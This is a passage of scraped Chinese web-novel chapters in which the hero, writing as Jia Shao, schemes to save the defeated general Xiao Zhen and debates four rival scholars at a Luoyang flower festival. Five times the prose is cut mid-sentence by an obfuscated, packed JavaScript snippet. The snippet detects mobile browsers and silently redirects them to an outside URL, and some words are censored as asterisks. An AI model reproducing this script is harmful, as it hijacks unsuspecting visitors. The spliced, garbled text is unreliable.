“方才我本以为,萧总兵之败,情有可原!可你身为罪臣,却擅自出现在洛阳文会上,其心实在可疑!” “《孙子》曰:将者,智、信、仁、勇、严也。萧震丧师辱国,五德俱失,何以称’良将''?!” 什、什么? 苏祈突然毫无预兆反水,让在场众人都惊呆了! 谪仙阁里的一群年轻少年郎们,瞧见这一幕,很快便反应过来。 大家隐晦互相对视。 一种无言的默契,自一群天才少年郎当中缓缓滋生。 片刻后。 何旭站到苏祈身边,怒斥萧震:“《礼记》载:刑不上大夫,礼不下庶人。萧总兵既已认罪,当静候圣裁,岂可妄自求 活?” 孟绅紧跟其后:“《论语》云:民无信不立。将军败军辱国,已失信于陛下,安敢再求生?” 周斐然更是厉声道:“萧总兵当众跪求,煽动舆情,此非’忠'',实为''挟民逼君''!” 情况实在太诡异了。 几乎是在一瞬间,谪仙阁内才子们纷纷转变态度,将矛头对准了萧震! 而同知齐栋梁,因为才子们的加入,瞬间有了底气,冷笑看向萧震:“听到了吗?萧总兵?” “文会乃圣贤之地,岂容武夫咆哮?《论语》云:君子不重则不威。” “本官劝你,趁早离开这里!” 被一群文人这般唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088459|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枪舌战,萧震心中感激极了。 表面却被气的虎眸含泪,仰天苦笑。 而后。 在全场众人的注视下,这位身穿铠甲的副总兵,收起手中长剑,落寞仓皇离开。 牡丹花海绚烂摇曳。 他离开的背影,却那般萧瑟、心酸。 令人愤怒心寒! 贾邵定定看着萧震离开,似乎是被气到了。 他一甩袖袍,看向谪仙阁里的众人,沉声道:“《易经》革卦:大人虎变,君子豹变。” “萧总兵以武入文,恰合‘穷则变,变则通’之理。诸君却因''礼''废''义'',实在迂腐!” “尔等欺辱良将,如自毁长城!我贾邵读圣贤书,明君臣大义,岂能与尔等不忠不义之徒同列?” “因此,好叫在场诸位做个见证。” “我,贾邵,要向眼前谪仙阁内,这群不忠不义之人划分界限!以及,你们这般忠奸不分,可敢同我辩上一场?” 听闻这话。 苏祈第一个扬眉:“辩就辩,怕你不成?” 何旭冷笑道:“奉陪到底!” 孟绅一拱手:“既如此,明日谪仙阁,我等且看你有何本事,敢这般嚣张。” 周斐然扬起下巴:“任你说的天花乱坠,终难改''败将当诛''之铁律!” 贾邵似乎是懒得多言,一甩袖袍,转身离开。 金谷园内的读书人们,一个个傻眼了。 不是,发生了什么,怎么就突然翻脸打起来了? 有人丈二和尚摸不着头脑。 有人琢磨明白了,暗中为一群才子们的机智叫好。 但不管怎么说,事情大条了! 第一天的洛阳牡丹文会,以一种所有人都预料不到的方式,草草收场。 各种震撼消息满洛城传播。 当然最令无数文人们瞠目的两件事是—— 其一:抗倭副总兵萧震当众在文会上下跪求救。 其二:贾邵一人约战数位名满天下的才子,次日于谪仙阁内辩论! 这两件事,几乎不费吹灰之力,强势空降洛阳‘热搜头条’。 并且以不可阻挡之势,朝着洛阳之外,整个大梁蔓延! 官场,文坛齐齐震动。 更有意思的是,从洛阳蔓延出的两个消息,也引发了两个衍生话题。 其一:贾邵是谁? 其二:一个自洛阳传出的辩题,让全大梁各方都参与进来,陷入争吵。 萧震,该杀?还是该戴罪立功? ? 169、一人战群雄,辩天下才子!(中) 崔岘自文会离开返回牡丹阁的途中。 一个身穿麻衣模样不起眼的小厮似乎恰巧路过将一份邸报悄悄递过来。 崔岘疑惑打开那份邸报看着上面《洛阳文会沽名钓誉第一人贾邵》的文章有些无言。 因为这文章旁边用红墨又添了一行字—— 乖孙知府赵恒出三百两银子让咱家邸报帮‘贾邵’扬名。祖母本想欲扬先抑因此写了一篇炮轰贾邵沽名钓誉的文章哪知竟是大水冲了龙王庙! 祖母来了洛阳? 赵恒出钱帮我扬名 啊这。 不过此时此刻自家这邸报倒是刚好能出一份力! 崔岘神情古怪而后对那小厮低声道:“我知道了你且回去告诉祖母一切照旧。” “我暂时不能见她。还有让她趁势今天再出一期邸报内容是……” 那小厮细细听完记在心里而后快步离开。 崔岘则是返回牡丹阁甲字一号房坐于案前陷入思索。 总觉得今日这个事情透着古怪。 片刻后他提起笔写下‘萧震’、‘齐栋梁’两个名字将二人画进一个圈。 这俩人肯定是认识的。 萧震今日能找上自己多半是齐栋梁在背后牵的线。 赵恒显然对此并不知情。 而赵恒花钱帮自己扬名应该是陈秉授意抛来的橄榄枝。 崔岘又将赵恒陈秉的名字写下来圈在一起。 除此之外他用更大的字写下‘东南豪强’和‘皇帝’。 而东南豪强萧震之间他用箭头串联并在中间写下‘死敌’二字。 至于陈秉和东南豪强之间他同样也用箭头串联在中间写下‘疑似同盟’四字。 崔岘最后把目光放在‘皇帝’。 再从皇帝这里同时拉出两条线左边是东南豪强右边是萧震刚好互相牵制。两方共存东南不乱。 这样一来局势关系就比较清楚了。 萧震奉命去抗倭影响到了东南豪强的利益所以被收拾的很惨不出意外大概率会被整死。 皇帝应该是不想萧 震死的,因为东南平衡会被打破。 但萧震败的太惨,纵然是皇帝,也没理由留他一命。 于是,萧震来洛阳文会博一条生路。 等等? 想到这里,崔岘眼皮一跳。 这是被人做局了啊! 他沉思片刻,将皇帝和萧震之间,串起来一条线。 有没有一种可能,是皇帝暗示萧震来洛阳文会找自己求救呢? 是有这种可能的。 因为上一封送去京城的信里,崔岘报备了自己的行程。 他以为自己在带着皇帝云旅游。 结果……不自觉地也变成了皇帝手中的一颗棋子。 这真的很符合龙椅上那位的作风。 把平衡权谋之术,当作吃饭喝水一样融入骨子里。 或许从决定跟‘贾邵’通信那一刻开始,皇帝就决定好怎么用他了。 果然啊—— 所有命运赠送的礼物,早就在暗中标好了价格。 看来,萧震是必须要救的。 萧震若是**,皇宫里的信,估计就再也不会送过来了。 那崔岘能得到的好处是什么呢? 皇帝持续的器重,和‘笔友关系’。 一位东南抗倭副总兵的友谊。 即将因为救下萧震,而名扬天下。 但这样的话,贾邵这个马甲就捂不了太久了。 好在,皇帝这次利用了他一把,多少会承个人情,或者有点小愧疚。 既然如此,那就趁着马甲还没暴露,巧妙跟皇帝‘平账’吧。 先送上‘孟津祥瑞’,又‘救下萧震’,两件事叠加,后续就算马甲暴露了,皇帝也不会真拿他怎么样。 因为他对皇帝来说是有用的。 捋顺思路后,崔岘将案上的纸张,置于烛火中点燃。 当日傍晚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088460|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>赵恒叩开甲字一号房门,神情严肃:“先生,萧震背后牵扯甚广,水太浑。您前途大好,没必要趟进去的。” 问题是,我也身不由己啊。 崔岘叹了口气,没说话。 赵恒懂了,不再劝说,朝他拱了拱手,转身 匆匆离开。 因萧震一事,接下来整个洛阳都会成为风暴中心。 赵恒怕是有得忙碌了。 何旭,苏祈等一帮少年郎们,默契的没有回牡丹阁,而是选择去客栈住宿。 他们要同贾邵表面做切割,而后准备明日的辩论。 洛阳城里,各种小道消息漫天飞。 经由崔岘授意,老崔氏连夜印刷东都花讯邸报。 不出意外,这份邸报一经印刷出来,便在次日一早,遭受到满城文人哄抢! “贾邵作品:《登鸿雁楼》” “贾邵作品:《咏柳》。” “苏祈认输,何旭认输,打败两大绝世才子的贾邵,究竟是谁?” “洛阳牡丹文会现场数千人见证,萧震副总兵当众下跪求救!” “贾邵一人,辩战数位才子天骄,洛阳赏花文会不可错过的经典环节!” “战败将军,该杀否?” 今日这份东都花讯,毫无废话,全是看点! 因此,一经发售,就被直接哄抢。 短短一天内,加印了四次! 重现‘洛阳纸贵’盛况! 而随着东都花讯卖脱销,贾邵,和他的两首诗,以及才子大名,犹如石破天惊般,在整座洛阳城中流传。 连许多洛阳百姓都听说了,有个叫做贾邵的绝世大才子,正在凭借一己之力,拯救一位蒙冤的将军! 无数人赶去牡丹园林,打算见证这场声势浩大的才子辩经文会! 同时,大量信使带着那份东都花讯邸报,自洛阳出,送往大梁各地。 本次洛阳文会最大的黑马才子贾邵,正式开始扬名! ? 170、一人战群雄,辩天下才子!(下) 次日,清晨。 且不管此刻洛阳城内,正在经历怎样的**动荡。 崔岘早早起床,照旧不疾不徐洗漱。 他这边刚洗漱好,外面传来叩门声。 是洛阳同知齐栋梁,和一身便服的东南抗倭副总兵萧震,联袂造访。 这二人,还亲自给崔岘端来了早食。 将早食置于桌案上。 齐栋梁愧疚朝着崔岘弯腰作揖礼,说道:“本该昨日就来向先生请罪。奈何,我在谪仙阁内的行为过于出挑,被知府大人斥责审问了一番,因此今日才姗姗来迟。” “先生,一切罪责在我。” “您初到牡丹阁外那日,知府大人给您递了一封信,我察觉到这封信不简单。因此,从跟随您自孟津来洛阳的严思远等人那里,打探到,这是您跟陛下的信件往来。” “也听他们说了您在孟津祥瑞一事中的筹谋。” “恰逢,我这同乡萧震,来洛阳找我求救。” “于是我便自作主张,将本该发放于大才子赵奕的请柬,给了萧震。萧震顺利进入金谷园谪仙阁,向您求救。” 原来如此。 这般看来,萧震能够进入谪仙阁,就说得通了。 但,这只是‘萧震和齐栋梁’这一条线。 另一条线才是重点:萧震为何会如此赶巧来洛阳,向自己的同乡齐栋梁求救呢? 肯定是嘉和皇帝暗示的。 齐栋梁此刻诚惶诚恐,向崔岘赔罪。 盖因他自己都不知道,其实他也是被嘉和皇帝算计在内的一颗棋子。 一颗不值钱的棋子。 “齐大人是心系同乡,也心系忠良名将,不必致歉。” 崔岘朝着齐栋梁笑了笑,而后说道:“我想跟萧总兵单独聊几句,请齐大人通融。” 这件事上,崔岘是棋子,齐栋梁是棋子,萧震也是棋子。 大家都有身不由己的地方,因此也确实没必要过于较真。 齐栋梁闻言松了口气。 他朝着崔岘感激一拱手,而后暗中扯了扯萧震的衣袖。这才退了出去,给二人留出谈话的空间。 等齐栋梁走了。 崔岘在餐桌前坐 下,冲萧震说道:“坐。 萧震顺势坐于崔岘对面,大口吃饭。 武将吃东西狼吞虎咽,但这种吃法,看着还挺香的。 因此崔岘都不自觉跟着多吃了些。 二人沉默吃完了早食。 结束后。 崔岘拿起手帕,细细擦拭干净嘴角,这才说道:“将军是陛下的人,纵然战败归京,想要活命,也并非难事。 “属实不必在文会当众下跪,折了一位从二品武将的颜面。 就算武将再不值钱,眼前这位,也是从二品的东南抗倭副总兵啊! 萧震闻言,惊疑看向眼前的年轻人。 他确实是受陛下暗示,来洛阳找贾邵求救。但从始至终,他什么都没说,眼前这位贾邵,就全猜透彻了! 这是何等足智多谋,聪慧过人啊! 但,这般运筹帷幄的少年郎,也让萧震看到了希望! 他为何在此次东南抗倭事件中败的如此凄惨,毫无翻身之地。还不是因为,他在朝堂上没有靠山! 一个将军若是只懂打胜仗,那他或许会百战百胜。 但最后的结局,绝对是死路一条。 哪怕有皇帝做靠山,也无济于事。 萧震还有太多、太多的抱负没有实现。 倭寇不灭。 他不能死。 他需要同盟、需要靠山、需要朝堂有人做助力。 因此。 面对贾邵的询问,萧震直接沉声说道:“我确实是陛下授意,去东南抗倭,牵制东南豪强士族的。但,如今我败的十分凄惨。 “就算陛下仁慈,肯饶我一命。我也不可能再回归东南前线,带兵打仗。我那八千败军兄弟,也会被拆散,以败军奴仆的耻辱身份,后半生遭受**对待。 “先生,我的诉求很简单。 “不论如何,我要带着我这八千兄弟,重返东南抗倭前线! “若先生能帮我,萧震这后半生,愿以先生马首是瞻! 其实听到这番话,崔岘就放心了。 他最怕的是,萧震一根筋,把‘忠臣良将’路线走到极端。 这样的人,不是说不好,其实是很好的—— 但,以崔岘目前的处境,只会救一次,以后就不会管了。 因为救的次数多了,很有可能将自己置于万劫不复之地。 忠奸黑白,是普通百姓眼中的道德观。 可站于高位,站在**立场上,完全不是那么回事儿。 ‘忠臣’会酿成大祸,‘奸臣’也能救济苍生。 它不是非黑即白的。 往往大多时候,‘灰色手段’反而更能推行政策,利国利民。 崔岘从萧震这番话中,迅速评估出,此人是可以作为盟友的。 至少萧震脑子很清醒。 所以,他可以按照皇帝的意愿,救下萧震。 也可以夹带私货,把萧震当做一颗钉子,钉在东南。 这是个特别好的机会。 但凡今日崔岘暴露首辅徒孙的身份,或者位于朝堂之上。嘉和皇帝都不可能把这个任务,落在崔岘头上。 首辅郑霞生徒孙,跟东南抗倭将军私下结盟,纵然是皇帝,也得忌惮三分。 “好。 思索过后,在萧震振奋惊喜的注视下。 崔岘直接说道:“好,我可以保你不死,也能保证,你的八千兄弟活命,跟随你重返东南抗倭战场。 “但,你这从二品的抗倭副总兵官职,肯定是保不住的,一定会被降职。 “降职重返东南后,你需要一场胜利。一场谁都压不住你,史无前例的胜利。这个事情,等你活下去后,我自会传授你一套练兵抗倭之法。 “但现在,我需要问你一件事。 “你手里,可有掌握着东南豪强通倭、逼民为寇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088461|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、贩卖私盐、私下练兵、克扣军饷粮食……乃至意图**的证据?! 这番话,可谓相当辛辣直接! 迎着崔岘锋利的目光,萧震迟疑片刻,坦然说道:“有。 一个‘有’字,足以让这两个人,后半生的**仕途,牵扯纠葛在一起。 至少从此刻开始,他们不是单纯的利益关系。 而是开始交心了。 崔岘点点头:“有证据,是好事,它以后会在关键时候保你一命。但这个证据,烂在你自己心里吧。因为呈上去,龙椅上那位也没真本事去抹 除掉南方祸乱,只能给他添堵。” “百年王朝,千年世家,不外如是。” “但,今日我即将在金谷园谪仙阁辩经。辩经结束后,我需要你当众,向我呈现一份证据。你不必对外说这份证据是什么,哪怕是一张白纸,但你只需要当众给我就行。” “其余的,你不必操心。身为一代抗倭名将,最重要的,还是要把精力,置于战场。” “你保证东南不乱,我保你,和你的兄弟不会蒙冤受死!” 这番话,说的萧震神情动容。 眼前这位贾邵,得是何等才情无双,运筹帷幄,才能给出这番保证啊! 只要贾邵能做到这番保证,接下来,他就不必被东南豪强死死压制,也不必被朝堂猜忌打压。 而是能在东南抗倭战争中,肆意大展身手! 能遇见贾邵这般良才,是东南之幸,他萧震之幸,万千士兵之幸啊! 他萧震,愿意为贾邵这样的人,身先士卒,死而后已! 哪怕目前双方是萍水相逢。 有他萧震在,有他身后的万千抗倭士兵在,谁都别想伤害贾邵先生一分一毫! 因此。 这位从二品的东南抗倭副总兵,自餐案站起,朝着贾邵郑重一拱手:“东南倭乱,万千百姓生死,萧某,八千士兵,乃至大梁万万百姓,都仰仗先生了!” 这一刻,他是真的被贾邵的才情所折服。 也由衷期盼,眼前这个年轻的少年郎,能替自己,替大梁,守卫住倭寇入侵! 替数万枉死于东南的兄弟,讨回个公道! 二人在牡丹阁甲字一号房内,达成了同盟共识。 殊不知。 外界已经因此,吵翻了天! 以何旭、孟绅、苏祈、周斐然四位绝世大才子为首,无数文人墨客,齐聚金谷园谪仙阁。 数千文人才子,包括数不清的洛阳百姓们,纷纷参与进来。 围观此次洛阳牡丹辩经文会。 老崔氏,带领着一帮伙计们,挤进谪仙阁最前方,记录文会辩经一手消息。 整个洛阳百姓翘首以盼。 而何旭、苏祈、周斐然、孟绅几人,则是私下嘀咕: 咱们几人联手,人多势众,该不会把贾邵吊着打吧? 但咱们的初衷,是为了贾邵能赢,萧震能活命啊! 要不,咱们适当放点水,放贾邵一马? ? 171、天骄才子齐聚,谪仙阁里辩忠良(上) 金谷园。 绚烂牡丹花海中,尽是翘首以盼的读书人。 牡丹园林之外。 无数市井百姓攀树登墙,只为一睹这场辩经盛事。 放眼望去,人头攒动。 洛阳,已经有许多年头,不曾像今日这般热闹了。 而作为今日这场辩经的绝对主角,当一身青衫的贾邵,走进金谷园的那一刻。 园子里当即爆发出雷鸣般的欢呼声。 “贾邵师兄,一定要赢啊! “决不能让萧总兵、和他那八千抗倭士卒,无辜蒙冤! “来了,贾邵师兄来了,都让一让! 更远处。 前来看热闹的百姓们听到动静,纷纷瞪大眼睛,向这边张望,同时跟身边人询问:“是那贾邵出场了吗? “恳请他一定要救下萧将军啊! 在无数道殷切、钦佩、崇拜目光的注视下。 崔岘穿过人潮花海,走进了谪仙阁。 谪仙阁台阶下方,老崔氏和一帮邸报伙计、编修们,个个手持纸笔,表情严阵以待。 务必要保证,待会儿才子们辩论的每一个字,都要被详细记录! 崔岘进谪仙阁的瞬间。 老崔氏恰好抬头,祖孙二人的目光交汇在一起,而后又若无其事默契挪开。 谪仙阁里。 何旭、苏祈、周斐然、孟绅四位大才子,早已经等候多时。 见贾邵来了。 四人纷纷起身,并排而立,看向贾邵。 一身青衫、身姿挺拔的贾邵单人站于他们对面,半分不显畏怯,姿态相当从容自信! 但,瞧见这一幕,在场读书人们,也难免都为贾邵师兄捏了一把汗。 纵使知道贾邵师兄身负大才。 可他今日,要同时辩四位绝世大才子啊! 这真的能赢吗? 唯独严思远、齐怀明、阮修德,以及数十位反岘同盟的小黑粉们,神情笃定站在人群中,远远瞧着谪仙阁里的贾邵先生,满脸自信! 贾邵先生,一定会赢! ‘孟津祥瑞’一事,无法公众于世,因此贾邵先生一直锦衣夜行。 而今日谪仙阁里这场辩经,就是贾邵声震文坛、名扬天下的开端! 是时候,让这文坛天下,看看绝世大才子贾邵的无双姿容了! 在无数文人、百姓们的震撼见证中。 谪仙阁内的这场天骄才子辩论,正式开始打响! 苏祈一马当先站出来,扬起下巴,率先对贾邵发难:“既然你人已经到了,那便开始吧。” “《尚书·泰誓》云:惟天地万物父母,惟人万物之灵。” “《商君书·修权》曰:法者,国之权衡也。” “萧震违天道,悖王法。不诛此獠,何以正纲常?” 违天道,是指萧震败军辱国。 悖王法,是指萧震擅离囚队,来洛阳文会求一线生机。 这两条罪责,若是辩不明白,萧震即将回到朝堂后,也终究难逃一死! 可这两条,天道王法尽占,该如何辩? 在场读书人们还在拧眉苦苦沉思。 便见贾邵跟苏祈对视,朗声道:“《周易·系辞》言:天地之大德曰生。” “《尚书·大禹谟》载:罪疑惟轻,功疑惟重。” “今东南倭患未平,若诛良将,是断陛下肱骨。天道贵生,王法容情——忠将可贬,不可杀!” 好一个‘天道贵生,王法容情’! 这番话落下,金谷园里当即响起无数叫好声。 贾邵师兄果真大才! 三言两语间,就把萧震必死之局给破掉了! 可谪仙阁里,跟贾邵辩论的,是四位绝世大才子啊。 怎么能轻易就这样辩赢了? 几乎是在贾邵话音刚落下。 周斐然便站了出来,佯装冷笑一声,看着贾邵厉声说道:“《荀子·正名》云:名定而实辨,道行而志通。” “《韩非子·难一》曰:刑过不避大臣,赏善不遗匹夫。” “败将称‘忠’,如盗跖称‘廉’!当速斩此人,以儆效尤!” 他避开了崔岘‘天道贵生,王法容情’的说法。 单开始质疑萧震是否值得一个‘忠’字。 不得不说,眼前这几位年轻的少年郎,确实才情横溢、满腹经纶! 崔岘眼睛亮起来,给了周斐然一个赞叹的眼神。 而后驳斥道:“《庄子·逍遥游》曰:名者,实之宾也。 “《尹文子·大道》言:形以定名,名以定事。 “将军虽败,三军仍效死;虽囚,万民犹**——此实胜虚名!诸君欲杀实保名,岂非买椟还珠? 周斐然问道:“何来万民**? “既如此,你且看好了。 谪仙阁内,便见一身青衫的贾邵朗声大笑。 而后转身,看向金谷园成百数千的读书人,和更远处的百姓们,高声道:“诸位,可愿为萧震将军**? 这句问话,仿佛带着某种魔力。 轰然将金谷园内的气氛推向了高峰! 无数道目光,振奋看向谪仙阁,看向谪仙阁内一身青衫、姿容无双的耀眼少年郎贾邵! “愿意! “我愿意为萧震将军**! “不可杀良将! 先是读书人们涨红了脸,一起齐齐呐喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088462|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 再后来,围观的百姓们弄清楚情况后,也齐齐跟着震声附和。 本该文雅、风趣的牡丹园林,尽是嘶吼声。 但在满园花海的应和中,却显得格外相衬! 于一片呐喊声中。 崔岘看向周斐然,朗声重复方才的话:“将军虽败,三军仍效死;虽囚,万民犹**! 伴随着四周围的呐喊声,重新听这句话,实在振聋发聩,令人心折! 身穿寻常便衣,藏匿于人群中的萧震,听着四周围百姓的欢呼,看着远处谪仙阁里,为自己生死而辩驳的贾邵,眼眶发红! 他征战沙场、与倭寇拼命的意义,在此刻,具象化了! 而在一片震天呐喊声中。 周斐然定定看着贾邵,满眼赞叹,接着当众朝贾邵一拱手。 此番关于‘天道王法’之辩论,他们认输了! 千万不要小看这一次小小的认输。 五大绝世才子之辩论,今日过后,绝对会自洛阳传出,引发无数人关注。 贾邵于‘天道王法’论中赢了。 来日朝堂之上,便没有人能拿这一点,来问责萧震。 此次谪仙阁辩经,是**的火种,是民间的发声,是来日朝堂议政的风向标! 今日在场成百数千读书人,愿为萧震**。 今日后,八千败军返京途中,每过一城,就会有百姓愿为其**! 就让这把火,自洛阳率先烧起来吧! 但,还未等在场读书人们,因贾邵赢了而欢呼。 何旭自周斐然身后站了出来,看向贾邵,高声道:“《公羊传·桓公十一年》云:权者反于经,然后有善者也。” “《盐铁论·刑德》曰:法者止奸之禁也。赦将军是行权坏法,开侥幸之门!” 这是‘天道王法’辩输了,立刻改变思路。 从‘经权’作新的切入点,向贾邵发起进攻! 场见欢呼声骤停。 无数人看向贾邵,目露担忧。 大家这才意识到,今日是有四个绝世大才子,轮番向贾邵辩经的啊! 但,贾邵以实际行动向全场表示—— 完全不必要担忧! 在无数道振奋、惊艳、钦佩注视下。 便见贾邵几乎都未过多思考,张口便轻松驳斥道:“《春秋繁露·竹林》言:《春秋》之道,固有常有变。” “《淮南子·氾论训》载:圣人制礼乐,而不制于礼乐。今倭寇来犯,非常之时,当用非常之权!” 谪仙阁内。 贾邵一人,辨战四位绝世大才子,半点不落下风。 其耀眼之风姿,让全场为之折服倾倒! ? 172、天骄才子齐聚,谪仙阁里辩忠良(中) 贾邵辩驳完后。 何旭沉默思索了一会儿这才冷声道:“《孟子·梁惠王上》云:何必曰利?亦有仁义而已矣。” “《中说·天地》载:不以天下易一民之命。为全忠义大节岂计一将生死?” 不出意外他这番话霎时引来周遭一片愤怒哗然。 听听这说的还是人话吗? 张口‘法不可破’闭口‘忠义大节’。 甚至连一将生死都可以用‘岂计’二字! 实在让人心寒! 前来围观这场辩论的读书人们恍惚觉得此刻的谪仙阁不像是才子辩经台。 更像是朝堂金銮殿! 贾邵师兄是战败将军萧震。 何旭、周斐然、苏祈、孟绅四位才子便是朝堂上‘义正言辞’的官老爷。 他们满嘴仁义道德礼义忠信但干的却是最令人不齿的勾当。 他们要萧震死! 正如此刻四大才子言辞咄咄逼迫贾邵。 来日返京上了朝堂 眼前这五位才子看似是在辩经。 实则是提前堵住朝堂衮衮诸公的嘴在笔墨喉舌之上合力为萧震‘杀’出一条生路来! 想明白了这些。 金谷园里的读书人们看向谪仙阁内五位年轻的少年才子满眼钦佩叹服。 这才是经天纬地、才华横溢的少年郎们应有的耀眼风采啊! 于一片愤怒声中。 贾邵看着何旭高声驳斥道:“《墨子·经上》言:义利也。” “《吕氏春秋·慎行论》曰:义之大者莫大于利人。” “留将军可保三军、安黎庶——此乃大义!” “尔等要将军死?好!那便请诸位明日提剑上阵替将军守这东南门户!若不敢——” “就闭嘴!” 简单翻译过来就是:你行你上。 这番话为了照顾在场更多围观的普通百姓崔岘说的非常直白。 本是来凑热闹的百姓们激动了。 方才那些‘叽里呱啦’的话他们听不懂。 可贾邵这次的话,他们听懂了啊! 因为听懂了,所以开始大声附和! “说得好! “我们不懂那些大道理,但我们都知道,将军是保护我们的,不该杀! “打了败仗就该死?天下岂有这样的道理! “我的儿子也在从军抗倭,提刀上战场这种事,十个人里,有九个人都做不到!为什么要欺负这样一群保护家国的好人呐! 这是一场声势浩大的辩论。 士农工商都参与进来,读书人引经据典,百姓们真情流露。 若‘谪仙阁’相当于朝堂。 那此刻发出呐喊的读书人、百姓们,就是‘万民’! 崔岘,在辩经台上,为萧震和八千士兵之性命,燃起了一点星火。 那么,这点星火,要如何点燃呢? 需要风! 需要愤怒! 需要狠狠地压迫! 以及被压迫后,更猛烈的、势不可挡的反击! 因此,崔岘抬起头,看向眼前的四位少年郎,眼眸亮的惊人。 浑身战意! 他的意图很明显:来吧,一起上吧! 辩论可以讲道理,难道朝堂之上,会有人跟你讲道理吗? 不会的! 何旭三人看懂了贾邵的意思,神情都有些犹豫。 万一火力全开,把贾邵辩输了,岂不是弄巧成拙? 唯有苏祈,毫不犹豫站了出来! 既然贾邵说可以,那就是可以! 他相信自己新交的这位朋友! 于是。 苏祈深吸一口气,厉声看向贾邵说道:“《韩非子·显学》云:明主之吏,宰相必起于州部,猛将必发于卒伍。 “《管子·明法》载:有功者赏,有罪者诛。古今通义,岂容败将苟活? 这是以‘古今之辩’的角度,对萧震下了杀招! 现场气氛瞬间一凛。 所有人都期待看向贾邵,准备听他如何破局。 可,令人哗然愤怒的一幕,来了! 谪仙阁内。 没等贾邵开口。 何旭紧跟着苏祈的话音,同样冷声看向贾邵,语气锋利:“《周易·系辞上》云:形而上者谓之道,形而下者谓之器。道为体,器为用。” “国法为体,将军为用。体不正则用必邪!” 又是一个新的辩论角度:体用之辩! 何旭说完。 周斐然深吸一口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088463|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看向贾邵大声呵斥道:“《春秋·僖公四年》曰:严华夷之防。” “《白虎通·王者不臣》曰:夷狄无礼义。萧震丧师,致倭寇深入,当斩!” 此为:华夷之辩。 最后。 孟绅走上前来,扬起下巴看着贾邵,冷笑道:“《荀子·荣辱》云:先义而后利者荣,先利而后义者辱。” “《礼记·大学》云:国不以利为利,以义为利也。” “今赦败将,是以私利坏天下大义,岂非令三军将士皆效其贪生畏死?” 这段话的角度是:义利之辩! 四位才子,四个杀气凛凛的角度。 每一辩,都是一柄锋利寒刀! 最开始,围观的众人还愤怒于何旭等人不讲规矩。 可看到最后,他们懂了。 辩论台上尚且如此,他日到了朝堂,场面只会更加凶险! 正因为看懂了,所以寒心,所以绝望。 原来,想要杀掉萧震,有这么多‘引经据典’、‘冠冕堂皇’的理由! 昔日寒窗苦读,于学堂捧着圣贤书,如痴如醉汲取知识的时候。 可曾想过,今日这些圣贤书,同样是斩杀良将忠臣的‘罪魁祸首’? 读书人们神情晦涩难明。 更远处。 百姓们虽然听不懂复杂的辩论内容,但也能隐约理解:四个年轻才子**贾邵一人,他似乎在被欺负。 正如萧震将军被欺负,是一个道理。 感知情绪是可以传播的。 以谪仙阁为中心。 难过、愤怒、绝望、迷茫、不甘等情绪,在人群当中向外蔓延。 牡丹花海中,是无数张沉默、难过的脸。 终究是辩不赢的,对吧? 就像我们一群人,终究无法救下萧震将军,和八千为大梁拼杀抗倭的士兵! 只要想想那个悲惨的结局,心里都觉得堵得慌啊。 在一片沉闷难受当中。 唯有老崔氏紧紧握着手中的笔,打起十二万分精神准备记录,半点来不及难过。 因为她知道—— 自家乖孙,要开大了! 果不其然。 于一片沉闷中,谪仙阁内的贾邵,从容站了出来! ? 173、天骄才子齐聚,谪仙阁里辩忠良(下) 作为今日的绝对主角,贾邵一有动作,便引来无数目光追随。 人们眼睛里迸发出希冀。 或许—— 我们可以等到一场绝地翻身的奇迹呢? 